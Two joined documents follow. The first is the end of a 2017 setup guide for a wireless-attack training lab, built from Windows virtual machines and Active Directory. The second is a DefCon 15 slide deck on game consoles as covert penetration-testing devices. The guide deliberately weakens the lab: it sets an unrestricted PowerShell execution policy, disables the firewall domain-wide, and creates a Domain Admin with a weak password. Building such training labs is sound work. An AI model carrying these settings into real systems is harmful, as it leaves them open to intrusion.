providing a set of PowerShell scripts that will do most of the legwork for you. All you have to do is download the
required ISOs and Virtual Machines and use the provided scripts as described in the sections below.
Try not to get intimidated by the size of this setup guide. It’s basically a giant picture book, with most of the
following pages being occupied by screenshots. You should fly through the lab setup process fairly quickly once
you have everything downloaded.
Regardless, I do recommend completing the lab setup process before getting to the conference. The reason for this
is that you’re going to have to download a couple of large files, and you probably don’t want to be stuck doing this
the night before over flaky conference WiFi. Windows server takes a while to install as well.
Important: if at any point you run into problems setting up the lab, please do not hesitate to email the instructor for
assistance.
Advanced Wireless Attacks Against Enterprise Networks
Hardware Requirements
© 2017 Gabriel Ryan All Rights Reserved
3
HARDWARE REQUIREMENTS
Wireless equipment for practice will provided at the workshop. With that said, you may want to invest in the
following items so that you can practice the lab exercises at home:
1. Primary external wireless adapter.
a. Must meet the following requirements:
i. High gain
ii. Atheros chipset
iii. Supports master mode
iv. Supports Linux
b. Cheap, reliable option: TP-Link TL-WN722N ($13.79 on Amazon as of the time of this
writing)
2. Wireless router (anything that supports OpenWRT and EAP)
3. Secondary external wireless adapter (must be Windows compatible)
Advanced Wireless Attacks Against Enterprise Networks
Step 1 - Download Windows Developer Virtual Machines
© 2017 Gabriel Ryan All Rights Reserved
4
STEP 1 - DOWNLOAD WINDOWS DEVELOPER VIRTUAL MACHINES
Microsoft offers free Windows virtual machines to web developers for testing website UIs within different versions
of Internet Explorer. These virtual machines are made available by Microsoft for public download, giving us a
means of legally obtaining a free copy of Windows 10 and Windows 8 for use in our lab.
The following steps can be used to download a Windows 10 Developer VM:
1. Navigate to the following url: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
2. Select Microsoft Edge on Windows 10 Stable “Virtual machine” dropdown menu.
3. Select VirtualBox from the “Select platform” dropdown menu.
4. Click the grey “Download .zip” button at the bottom left in the screen.
Once you’ve downloaded a Windows 10 virtual machine, repeat this process to obtain a Windows 8 virtual
machine as well.
Advanced Wireless Attacks Against Enterprise Networks
Step 2 - Obtain Windows Server 2012 R2 Trial Edition
© 2017 Gabriel Ryan All Rights Reserved
5
STEP 2 - OBTAIN WINDOWS SERVER 2012 R2 TRIAL EDITION
Next, we need to obtain a copy of Windows Server 2012 R2. Since Windows Server 2012 R2 is pretty expensive, it
is recommended that you download a 180 day free trial from Microsoft.
To obtain a free Windows Server 2012 R2 trial:
1. Navigate to the following URL: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-
server-2012-r2
2. In the expandable list, select Windows Server 2012 R2 Download
3. Click the green “Sign In” button
4. You will now be required to authenticate using a valid Microsoft or Skype account. If you don’t
have one, make one now.
5. After signing in, you will be redirected back to the previous page. The green “Sign In” button will
have been replaced with a green button that says “Register to continue”. Click the “Register to
continue” button.
Advanced Wireless Attacks Against Enterprise Networks
Step 2 - Obtain Windows Server 2012 R2 Trial Edition
© 2017 Gabriel Ryan All Rights Reserved
6
6. Fill out registration form
7. Click “Continue”
8. Select the “ISO” option
9. Click “Continue”
Advanced Wireless Attacks Against Enterprise Networks
Step 2 - Obtain Windows Server 2012 R2 Trial Edition
© 2017 Gabriel Ryan All Rights Reserved
7
10. Select the “64 bit” option
11. Select “English” from the “product language” dropdown menu
12. Click the green “Download” button
Advanced Wireless Attacks Against Enterprise Networks
Step 3 - Install VirtualBox
© 2017 Gabriel Ryan All Rights Reserved
8
STEP 3 - INSTALL VIRTUALBOX
Next, we need to download and install VirtualBox. This should be pretty straightforward. Just navigate to the link
below and select the build that is appropriate for your operating system.
▪
https://www.virtualbox.org/wiki/Downloads
Once VirtualBox is downloaded, install it.
Advanced Wireless Attacks Against Enterprise Networks
Step 4 - Configure Virtual Network
© 2017 Gabriel Ryan All Rights Reserved
9
STEP 4 - CONFIGURE VIRTUAL NETWORK
Now that we have VirtualBox installed, we need to configure our virtual lab network. To do this, use the following
steps:
1. Start the VirtualBox application
2. In the toolbar at the top right of the screen, select VirtualBox > Preferences
3. In Preferences, go to Network > Host-only Networks, then click the green icon to add a new Host-
only network.
Advanced Wireless Attacks Against Enterprise Networks
Step 4 - Configure Virtual Network
© 2017 Gabriel Ryan All Rights Reserved
10
4. From Network > Host-only Networks, click the blue screwdriver icon to edit the network you just
created
5. Configure the Host-only network so that it has the following attributes:
a. IPv4 Address: 10.10.10.0
b. IPv4 Network Mask: 255.255.255.0
6. Select the “DHCP Server” tab and uncheck the “Enable Server” option as shown in the screenshot
below.
Advanced Wireless Attacks Against Enterprise Networks
Step 4 - Configure Virtual Network
© 2017 Gabriel Ryan All Rights Reserved
11
7. Click “OK”
Advanced Wireless Attacks Against Enterprise Networks
Step 5 - Import PFSense and Kali Virtual Machines
© 2017 Gabriel Ryan All Rights Reserved
12
STEP 5 - IMPORT PFSENSE AND KALI VIRTUAL MACHINES
First, download the preconfigured PFSense and Kali virtual machines from the following Google Drive URL:
▪
https://drive.google.com/drive/folders/0BwFgM9oAhmd_c2JJaG1iUmhkZTg
Next, import each of the virtual machines you just downloaded into VirtualBox by selecting Preferences > Import
Appliance as shown in the screenshot below, then selecting the virtual machine you wish to import.
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
13
STEP 6 - INSTALL DOMAIN CONTROLLER
Before proceeding any further, make sure that your PFSense virtual machine has been started. Then, use the
following steps to install the lab’s Domain Controller:
1. Start the VirtualBox application
2. Click the blue circular icon at the top left of the screen to add a new Virtual Machine
3. Click the “Expert Mode” button
4. Set the following attributes for the new VM:
a. Name:
Windows DC
b. Type:
Microsoft Windows
c.
Version:
Other Windows (64-bit)
d. Memory size:
1024 MB
e. Hard Disk:
Create a virtual hard disk now
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
14
5. Click the “Create” button
6. Set the following attributes for the new VM:
a. File location:
Windows DC
b. File size:
20.00 GB
c.
Hard disk file type:
VDI (VirtualBox Disk Image)
d. Storage on physical hard disk:
Dynamically Allocated
7. Click the “Create” button
8. From the main VirtualBox menu, select your “Windows DC” VM from the list on the left
9. Click the yellow gear icon at the top left of the screen to edit the settings for your “Windows DC” VM
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
15
10. In Settings > Network, enable “Adapter 1” network adapter and attach it to the Host-only network we
created in Step 5 – Configure VirtualBox as shown in the screenshot below.
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
16
11. Switch to the “Storage” tab as shown in the screenshot below. In the “Storage Tree” menu located to the
left, click the word “Empty” to select your VM’s disk drive. Then click the blue disk icon near the top right
of the window to reveal a dropdown menu.
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
17
12. Select “Choose Virtual Optical Disk File…” from the dropdown menu.
13. Select the Windows Server 2012 R2 ISO file that you downloaded earlier
14. Click the “OK” button to return to the main Virtual Box menu
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
18
15. Start the Windows DC virtual machine
16. Click “next” through all the prompts until you reach the window shown in the screenshot below. Then
select “Windows Server 2012 R2 Standard Evaluation (Server with a GUI)” and click “Next”
17. Accept the Microsoft Licensing agreement then click “Next”
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
19
18. When you see the prompt shown in the screenshot below, click “Custom: Install Windows Only
(Advanced)”
19. Click the Next button immediately without modifying any options
20. Set the Administrator password when prompted
Advanced Wireless Attacks Against Enterprise Networks
Step 6 - Install Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
20
We’re now finished with installing the Domain Controller.
Advanced Wireless Attacks Against Enterprise Networks
Step 7 - Install Guest Additions on Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
21
STEP 7 - INSTALL GUEST ADDITIONS ON DOMAIN CONTROLLER
Next, we need to install VirtualBox guest additions the domain controller. The following steps illustrate how to do
this on the Windows DC virtual machine, although they should work on each of your other Windows machines as
well.
1. Start the Windows DC VM
2. Press [ctrl]+[alt]+[delete] to logon.
a. Note to Mac users: since your delete key is actually a backspace, you must press [right
command]+[fn]+[delete]. If that doesn’t work select Input > Keyboard > Insert Ctrl-Alt-Del from
the menu bar at the top of the screen.
3. If prompted to automatically connect to devices such as printers and TVs, select “No”
4. In the toolbar at the top of your VirtualBox window, select Devices > Insert Guest Additions CD Image
5. As shown in the screenshot below, go to File Explorer > This PC > CD Drive (D:) VirtualBox Guest Additions
Advanced Wireless Attacks Against Enterprise Networks
Step 7 - Install Guest Additions on Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
22
6. As shown in the screenshot below, right click VBoxWindowsAdditions-amd64 and select “Run As
Administrator”
Advanced Wireless Attacks Against Enterprise Networks
Step 7 - Install Guest Additions on Domain Controller
© 2017 Gabriel Ryan All Rights Reserved
23
7. Follow the prompts to install VirtualBox guest additions, then select “Reboot Now” when finished
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
24
STEP 8 - CONFIGURE ACTIVE DIRECTORY
Before you begin, make sure to download the AWAE Active Directory setup scripts from the following link and
place them on your Windows Server virtual machine.
▪
https://github.com/s0lst1c3/awae-ad-setup-scripts/archive/master.zip
As with the previous section, your PFSense virtual machine must remain running throughout the duration of this
section.
STEP 1 - SET POWERSHELL EXECUTION POLICY ON DOMAIN CONTROLLER.
First, we need to configure Powershell to allow us to run scripts from the command line. To do
this, open a new Powershell prompt as administrator and run the following command:
Please note that due to security concerns, this is not something you’d want to do in a production
environment.
STEP 2 - INSTALL PREREQUISITES
Next, run the following script using your Powershell command prompt:
▪
Install-PreReq.ps1
PS> set executionpolicy unrestricted
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
25
Once your computer has rebooted, open the following file in Notepad.
▪
C:\poshlog\featurelog
The contents of the file should be similar to what is shown in the screenshot below. If it isn’t,
stop and contact the instructor for assistance.
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
26
STEP 3 - INSTALL ACTIVE DIRECTORY FEATURES
Next, we need to install the following items to the domain controller:
▪
Active Directory Domain Services role
▪
DNS Server role
▪
Group Policy management feature
To do this, run the following script:
▪
Add-ADFeatures.ps1
Once the script has finished executing, open the following file in Notepad as before:
▪
C:\poshlog\featurelog
The contents of the file should be similar to what is shown in the screenshot below. If it isn’t,
stop and contact the instructor for assistance.
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
27
STEP 4 - SETUP ACTIVE DIRECTORY
Next, we need to create a new forest and promote our server to the role of Domain Controller.
To do this, run the following Powershell script:
▪
InstallNewForest.ps1
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
28
The script will prompt you to set your Active Directory recovery password. Set this to something
memorable. When prompted to reboot, click accept.
At this point it’s important to make sure DNS is still working, so try pinging google.com from the
command line as follows:
If you can’t ping google.com, contact the instructor for assistance.
PS> ping google.com
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
29
STEP 5 - CONFIGURE DHCP
Next we need to add the DCHP role to our Domain controller. To do this, run the following
Powershell script as Administrator:
▪
Setup-DHCP.ps1
Once again, this probably isn’t something you’d want to do in a production environment because it creates a single
point of failure. For our lab, however, it works just fine.
STEP 6 - DISABLE WINDOWS FIREWALL
Using a firewall is generally a good thing. However, in the interest of spending more time
hacking and less time troubleshooting, let’s disable Windows Firewall for all computers within
the domain using a Group Policy Object.
To do this, first open up your Powershell prompt as Administrator and run the following
command:
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
30
This will create a new Group Policy Object named “DisableFirewall” and link it to our
example.com domain.
Next, we apply the appropriate firewall configuration to the Group Policy Object that we just
created:
Finally, we use the Invoke-GPUpdate cmdlet to pull our newly created Group Policy Object:
Note that it may take some time for these changes to take effect, so don’t be alarmed if
Windows Firewall does not become disabled immediately.
PS> New-GPO DisableFirewall | New-GPLink -Target “DC=example.com,DC=com” -
LinkEnabled yes
PS> Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False -PolicyStore
example.com\DisableFirewall
PS> Invoke-GPUpdate
Advanced Wireless Attacks Against Enterprise Networks
Step 8 - Configure Active Directory
© 2017 Gabriel Ryan All Rights Reserved
31
STEP 7 – ADD DOMAIN ADMIN USER
This part is pretty simple. Just create a new user and promote it to Domain Admin using the
following two commands:
Feel free to use a different username and password.
net user jcena Passw0rd! /add /domain
net group “Domain Admins” jcena /add /domain
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
32
STEP 9 - ADD WINDOWS WORKSTATIONS TO DOMAIN
Congrats. You’ve made it through what is by far the most time consuming section of this setup guide. Give yourself
a pat on the back before you move on.
Before proceeding any further, make sure that both your PFSense virtual machine and your Domain Controller are
running.
ADD WINDOWS 10 WORKSTATION
It’s time to add workstations to our Active Directory environment. We’ll start by adding our Windows 10
workstation using the following steps:
1. Extract the zip archive that we downloaded in Step 1 – Download a Windows 10 Developer VM.
2. Open VirtualBox
3. From the VirtualBox main menu, select File > Import Appliance as shown in the screenshot below.
4. Select the path of your Windows 10 virtual machine (the .ovf you just extracted). If you can, give the
virtual machine at least 2 GB of RAM. Then click “Import”.
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
33
5. When the VM import process is complete, select the new Windows 10 virtual machine in the list to the
left. Then go to Settings > General and change the virtual machine’s name to “Windows 10 AD Victim”.
6. Next, navigate to the Settings > Network > Adapter 1 as shown in the screenshot below. Then perform the
following configurations as shown in the screenshot below:
a. Ensure that the “Enable Network Adapter” box is checked.
b. Set “Attached to” to “Host-only Adapter”.
c.
Set “name” to vboxnet0.
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
34
7. Click “OK” to return to the main VirtualBox menu.
8. Power-on the Windows 10 Ad Victim virtual machine.
9. Go to Explorer > This PC > Properties as shown in the screenshot below.
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
35
10. In the Properties window, click on “Change Settings” as shown in the screenshot below.
11. In the popup window, go to the “Computer Name” tab then click the “Change” button.
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
36
12. In the popup window that appears, do the following as shown in the screenshot below:
d. Set the “Computer Name” to whatever you want
e. Select the “Domain” radio button
f.
Set the “Domain” field to “example.com”
g. Click “OK”
13. You will be prompted to enter credentials. Enter the username and password for the Domain Admin
account you created earlier.
14. If the authentication is successful, you will see a prompt similar the one shown in the screenshot below.
Click “OK”.
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
37
15. You will be issued a prompt stating that a reboot is necessary. When this occurs, click “Restart Now”.
16. Finally, install VirtualBox guest additions using the same steps you followed in Step 7 - Install Guest
Additions on Domain Controller.
ADD WINDOWS 8 WORKSTATION
Repeat each of the steps you followed to add the Windows 10 workstation to your domain, but this time use your
Windows 8 virtual machine instead. Make sure that you give your Windows 8 machine a unique hostname and
name it something other than “Windows 10 AD Victim”.
Advanced Wireless Attacks Against Enterprise Networks
Step 9 - Add Windows Workstations To Domain
© 2017 Gabriel Ryan All Rights Reserved
38
Congratulations. You have completed the lab setup guide. | pdf |
Thinking Outside
of the Console (Box)
Squidly1
[email protected] / haksys.schleppingsquid.net
DefCon 15 / August 04, 2007
SaveDarfur.org
HAXO(RED)
See G. Mark FMI see him @ Hacker Jeopardy
Crisis ongoing. Read up & help
Squidly1
Squidly1
Computer Network Defense Team Lead (US Navy)
Former Red Team Lead
Independent security researcher
GSEC
Software engineering student
Wireless explorer
Heavy gamer
Fervent g33k
Covert Testing
Covert Testing
Used by legitimate vulnerability assessment firms and Red
Teams in order to better help companies and organizations
learn how to protect themselves. The focus of these testing
methods is to help said entity identify possible intrusions, faulty
equipment / software, bad security practices, ineffective
policies – among other things. At the end of the assessment
phase a report is presented to the entity in order to set into
motion an informed plan for fixing the discovered deficiencies.
Used by other companies and governments in order to serve
their own gain. Corporate espionage anyone?
Corporate Espionage
Corporate Espionage
“The U.S. Department of Justice (DOJ) pulled the covers off a
previously-sealed case of corporate espionage by a former
DuPont scientist who stole $400-million in intellectual property
from his employer.”
- SC Magazine (16 Feb 2007)
“$400 million corporate espionage incident at DuPont” by Ericka Chickowski
(SC Magazine): http://tinyurl.com/2tdny6 “Stolen laptops fuel industrial espionage fears for UK software
firm” by John Leyden (The Register): http://tinyurl.com/3b4uh9
“A UK-based hi-tech firm that's become the victim of "industrial
espionage" is offering a reward for information leading to the arrest of
those responsible for stealing its computer hardware. Thieves who
stole a number of laptops from VBi Triscan Systems also lifted hard
disks from the fuel management firm's servers... Executives at the ...
firm fear the thefts were aimed at gathering trade secrets rather than
just routine blogs.”
- The Register (20 Apr 2007)
Covert Testing
Covert Testing
... And then you have people like us ...
: P
“hacker ethic” entry in Jargon File: http://tinyurl.com/qu2ck
“Is there a Hacker Ethic for 90s Hackers?” by by Steven Mizrach: http://tinyurl.com/24tzs
We have no allegiance, no political motive and no fiscal
gain - just looking and passing through - kthxbai
Are You High?!?
Are You High?!?
After I modified my first XBOX and bought my first PSP I
experienced the realization that the newer generation game
consoles could be so much more than ... game consoles.
Prior to 2002 there was very little going on in the console hacking
arena, outside of relatively crude hardware modifications and
game cheating.
Since then the game industry has moved forward in using even
more powerful main processors and GPUs, in order to both satisfy
and build up gamer desires for 'the next best thing.'
Now we have true computers with the ability to network... to
share... to probe... to perform vulnerability scans... to find YOUR
network... to get on YOUR network... and...?
Stimulation
Stimulation
Sixth & Seventh Generation game consoles
Hand-held game systems
Ubiquious online connectivity (wired / wireless)
...but it's just a video game console...
OMG! It's a video game console on MY
network!! WTF!!!
History of Game Consoles (Wikipedia): http://en.wikipedia.org/wiki/History_of_video_game_consoles
History of Game Consoles (Wikipedia): http://en.wikipedia.org/wiki/History_of_video_game_consoles
Goals
Goals
Cover the three key features a covert tester looks for
in penetration hardware, and why game consoles can
fit the bill.
Look at the evolution of homebrew applications on
various game systems, especially those that expand
system usage.
Show how a couple of game systems can be used to
infiltrate your network, or collect data.
Suggest things you can do to mitigate this threat.
Open discussions on what the future holds…
Three Important
Things
... or what is important to the covert tester?
Three Important Things
Three Important Things
Power
(Potential)
Programmability
(Flexibility)
Concealment
(Plausible Deniability)
POWER!!!
... or what might this baby do?
Sixth Generation Systems
Sixth Generation Systems
Primary platforms:
Sony Playstation2 (26 Oct 2000)
Microsoft XBOX (15 Nov 2001)
Nintendo GameCube (18 Nov 2001)
Nintendo GameBoy Advace SP (Sept 2004)
Nintendo Wii * (08 Dec 2006)
Seventh Generation Systems
Seventh Generation Systems
Primary platforms:
Sony Playstation3 (17 Nov 2006)
Sony Playstation Portable (24 Mar 2005)
Microsoft XBOX 360 (22 Nov 2005)
Nintendo Wii (08 Dec 2006)
Nintendo DS / DS-Lite (21 Nov 04 / 11 June 06)
Squidly1's Systems
Squidly1's Systems
Playstation3 (60G)
Playstation2 (40G)
Playstation
PSP (1.50, 3.40OE-A)
GameBoy
XBOX 360 (120G)
XBOX (300G)
Wii
DS Lite (M3 Movie Player Lite Pro,
Passcard)
GameBoy Advance SP
Hardware &
Potential
... G33k pr0n, awww yeahhhh...
Hardware: XBOX
Hardware: XBOX
Under The Hood:
An Intel 733Mhz custom PIII
64M DDR SDRAM
250 Mhz custom nVidia GPU
(NV2X) + 200Mhz media
processor
10/100 Ethernet
Proprietary USB ports
DVD optical drive
8~10G hard drive
Proprietary memory cartidge
port
Xbox System Specifications (Xbox Reporter): http://tinyurl.com/f6p2h
Potential: XBOX
Potential: XBOX
Add-ons:
Upgrade to 1.3G Celeron
Upgrade 128MRAM
802.11B/G adapter
Dual HDs / 320G max HD
USB Keyboard / Mouse
Hardware: XBOX 360
Hardware: XBOX 360
Xbox 360 System Specifications (Team Xbox): http://tinyurl.com/af6x9
Under The Hood:
An IBM PowerPC (3
symmetrical cores) 3.2G ea.
512M GDDR3 RAM
500 Mhz Xenos custom ATI
GPU
10/100 Ethernet
USB ports
DVD optical drive
20~120G hard drive
Proprietary memory cartidge
port
Potential: XBOX 360
Potential: XBOX 360
Add-ons / Mods:
Upgrade HD 120G or more...
802.11G adapter
XBL Vision (Web Camera)
USB Keyboard / Mouse
Hardware: Playstation
Hardware: Playstation22
Under The Hood:
Toshiba 300MHz R5900 MIPS
IV Processor
32M Direct RAMBUS RAM
150Mhz GPU
USB / Firewire
DVD optical drive
MS Pro Duo, Compact Flash (I
& II) and SD (standard & mini)
PS2 System Specs: http://www.linux-mips.org/wiki/PS2
Potential: Playstation
Potential: Playstation22
PS2 System Specs: http://www.linux-mips.org/wiki/PS2
PS2 HD Limitation (X-Spec): http://tinyurl.com/24p3cs
Add-ons:
Ethernet / Modem / HD
assembly
~500G HD maximum**
USB keyboard / mouse
Tricks:
70 node Beowulf cluster
* Customized code blocks to the
GPU allowed for processing
speeds up to 1 Gflop – per
machine.
Oh, yeah, it runs Linux
Hardware: Playstation
Hardware: Playstation33
Under The Hood:
Cell Broadband Engine
processor (heterogeneous,
1 control CPU, 8
computational SPEs)
~3.2Ghz ea
256M XDR RAM (3.2Ghz) /
256M GDDR3 RAM (700Mhz)
550 Mhz custom GeForce
5900 nVidia GPU
10M~1G Ethernet / 802.11B/G
USB ports
DVD/BluRay optical drive
20~60G hard drive **
MS Pro Duo, Compact Flash (I
& II) and SD (standard & mini)
PS3 System Specifications (PS3Source): http://tinyurl.com/2ehe6l
Hardware: Playstation
Hardware: Playstation33
PS3 Hypervisor Details (IBM CBE Team & Sony Linux Dev Team)
Interaction with the PS3 Hypervisor
8 (-1)
SPUs
Video
Output
Controller
GeForce
5900
GPU
Audio
Controller
PPU
Wi-Fi
HDD/
BD
GigE
ATA
USB
Bluetooth
Memory
Hypervisor
Hypervisor
Game OS / Other OS (Linux)
Game / Application
Hardware: Playstation
Hardware: Playstation33
Cell Processor Security (IBM CBE Whitepaper)
PS3 Cell Processor Security
PowerPC
PPE
Element Interconnect Bus
SPE
1
LS
SPE
2
LS
SPE
3
LS
SPE
4
LS
SPE
5
LS
SPE
6
LS
SPE
7
LS
SPE
8
LS
I/O
Main
Memory
Application
Each
Thread
Potential: Playstation
Potential: Playstation33
Add-ons:
250G+ hard drive (2.5” Serial
ATA) **
MS Pro Duo, Compact Flash (I
& II) and SD (standard & mini)
– max size?
InFeCtuS firmware (hardware)
downgrader **
BlueTooth or USB keyboard /
mouse
InFeCtuS Downgrader: http://tinyurl.com/2bugql
Gartner's Steve Prentice fears criminals could use PS3 for
crypto cracking (TechTarget ANZ): http://tinyurl.com/yoeqlk
Tricks:
Runs Linux, many flavors
And there are a few clusters...
Crack crypto – Single
Precision is best... See
Folding@Home zoom!
Hardware: PSP
Hardware: PSP
Under The Hood:
a MIPS R4000-based CPU
(1~333Mhz)
32M RAM + 4M DRAM
166 Mhz GPU has 2 MiB
embedded memory
802.11B Ad-Hoc / Infra Modes
IrDA transmit / receive
Mini-USB and custom serial
UMD optical drive
MemoryStick Pro Duo drive
PSP internals: RIP Lik-Sang
Potential: PSP
Potential: PSP
Add-ons:
PSP PS-290 GPS Unit
PSP PS-260 Microphone
PSPj-15003 Camera
8 GB MS Pro Duo
(need firmware 2.81 or higher)
Potential: PSP
Potential: PSP
Mods:
Hirose connector for
expansion of antenna
PSP WiFi Module: RIP Lik-Sang
PSP with external antenna (Engadget): http://tinyurl.com/2eo9fa
Hardware: GameCube
Hardware: GameCube
Under The Hood:
485Mhz Gekko (custom) IBM
PowerPC CPU
40M RAM (total)
162Mhz ATI / Nintendo Flipper GPU
Proprietary optical disc
Proprietary memory cards
GameCube System Specifications (PSReporter): http://tinyurl.com/28jsgy
Potential: GameCube
Potential: GameCube
Trick:
Linux - again...
Add-ons:
Mod chips
Keyboard / Analog stick
Hardware: Wii
Hardware: Wii
Under The Hood:
729Mhz Boardway IBM
PowerPC CPU
88M RAM (total)
243Mhz Hollywood ATI GPU
802.11B/G
512M Flash memory
SD memory
USB 2.0 ports
Optical drive
(No DVD support)
Wii System Specifications (Wii-Volution): http://tinyurl.com/3xj7lo
Hardware: DS-Lite
Hardware: DS-Lite
Under The Hood:
Two 32-bit processors:
[main] ARM 946E-S (67 MHz)
[co] ARM 7 TDMI (33MHz)
4M main RAM / 656K VRAM
802.11B / Ni-Fi protocol
(Mitsumi MM3205B module)
SD removable memory
storage
Microphone
Touch sensitive display
GBA (Slot 2) and NDS (Slot 1)
ports
DS-Lite System Specifications (Embedded): http://tinyurl.com/37h2a3
Potential: DS-Lite
Potential: DS-Lite
Add-ons:
Removable memory storage
- SD, CompactFlash, MicroSD **
Flash ROMs / Mod cards
Trick:
Linux...? Limited, but it's here, too!
Programmability &
Flexibility
... or what can I make this thing do??
Native Vulnerabilties
Native Vulnerabilties
Sony Playstation Portable (PSP)
- Firmwares 1.00 & 1.50
- Custom Firmwares
- Gateway Firmwares: 2.71, 3.02,
3.50
- Vulnerable games:
Lumines
Grand Theft Auto: Liberty Cities
Nintendo DS
Nintendo DS-Lite
Both units are open enough that one
only needs to plug in some custom
hardware... Done.
Native Vulnerabilties
Native Vulnerabilties
Microsoft XBOX
- Font handler / no mod checks
- XBOX Dashboard
- A20# memory handling flaw
- Games run in Kernel Mode
- Vulnerable games
007 Agent Under Fire
MechAssault
Splinter Cell (and many more)
Playstation3
- Internet browser flaw?!?!
- 'Controlled' PS2 game 'crash'?!?
At current, neither of these approaches is
all that promising. Besides, who wants to
brick a $600 system to find out??
Check out Michael Steil's talks on the XBOX security flaws (GoogleVideo): http://tinyurl.com/2n8y62
and Chaos Communication Congress 22 (22C3 Info Page): http://tinyurl.com/34b22k
Linux Is Everywhere
Linux Is Everywhere
The only sustained exceptions to this rule are:
1. Nintendo Wii
2. Microsoft Xbox360 **
(only “works” on X360 kernels 4532 & 4548)
But is it “Game Over” when Linux is installed??
Game Console Coding
Game Console Coding
While In Linux:
Take your pick – C, Python, Perl, etc.
After Modification:
Python (PSP, XBOX and DS)
Lua (PSP and DS)
Assembler (PSP**)
C (PSP**)
BASIC (DS)
Homebrew
Homebrew
Homebrew is a term frequently applied only to video games that
are produced by consumers on proprietary game platforms; in
other words, game platforms that are not typically user-
programmable, or use proprietary hardware for storage.
Sometimes games developed on official development kits, such
as Net Yaroze or PS2 Linux are included in the definition. Some,
however, also refer to all non-commercial, "home-developed"
games for open architectures as homebrew games, though
these typically go under more frequently used labels, such as
freeware.
“Homebrew” definition (Wikipedia): http://tinyurl.com/yzfxkz
Homebrews of Note
Homebrews of Note
[PSP] IrDA Capture
Shows “IrDA Sample” by Vanya Sergeev snagging raw IR signals from two universal
remotes. The same trick can be done with any other IR device – like your PDA.
Where to download (PSP-Homebrew)): http://tinyurl.com/34zfzg
Homebrews of Note
Homebrews of Note
[PSP] iR Commander
The newest version supports 2,000 controllable infrared devices – for 1.50 users.
Check Major Malfunction's “Old Skewl Hacking Infrared” for why this interesting.
To grab your device (Remote Central): http://www.remotecentral.com
Homebrews of Note
Homebrews of Note
[PSP] iR Shell
AhMan returns with another homebrew of interest. This one allows for *more* IR
devices, performs ad-hoc WiFi transfers, throttles CPU speed, DevHook support,
nethost redirection, and works on all homebrew-friendly firmwares.
Where to download (My QJ.net): http://tinyurl.com/32xj99
Homebrews of Note
Homebrews of Note
[PSP] Portable VNC Viewer
((( TightVNC Install & PSP VNC Video
TightVNC Install & PSP VNC Video )))
AhMan's VNC controller for the PSP. Allows you to control computers, even password
protected ones, with your PSP. Can be also used with iR a keyboard.
Where to download (ZX81's Website):http://tinyurl.com/2pgvo8
(((
((( PortableVNC Video
PortableVNC Video )))
)))
YouTube version: http://www.youtube.com/watch?v=t0cQrx8IOyg
To download this video go to http://haksys.schleppingsquid.net/Files/index.php?path=DefCon15+Material/
Homebrews of Note
Homebrews of Note
[PSP] SecureText
Allows the user to encrypt and decrypt – with RC4.
For more information (GlobWare): http://tinyurl.com/25xux5
Homebrews of Note
Homebrews of Note
[PSP] HTTPd / FTPd
Need to set up a quickie web (by Elxx) or FTP (by ZX-81/PSPKrazy) server?
Works really well, too.
Where to download HTTPd (PSPUpdates): http://tinyurl.com/2y2u6y
FTPd (ZX81's Website): http://tinyurl.com/3a3ro9
Homebrews of Note
Homebrews of Note
[PSP] AFKIM
IRC, AIM, ICQ, MSN, GTalk, Yahoo! on your PSP. 14 iR keyboards are supported.
Thanks Danzel!
Where to download AFKIM (Danzels Internets): http://localhost.geek.nz/
Homebrews of Note
Homebrews of Note
[PSP] PSPSSH
Zx-81's port of the DropBear (Matt Johnston) SSH2 client / server application.
((( PSPSSH Video
PSPSSH Video )))
Where to download PSPSSH2 (ZX81's Website):http://tinyurl.com/22fgmh
(((
((( PSPSSH Video
PSPSSH Video )))
)))
YouTube version: http://www.youtube.com/watch?v=Xw59RWVRNHA
To download this video go to http://haksys.schleppingsquid.net/Files/index.php?path=DefCon15+Material/
Homebrews of Note
Homebrews of Note
[PSP] WiFi Sniffer
Jean Yves Lamoureux's basic WiFi Sniffer.
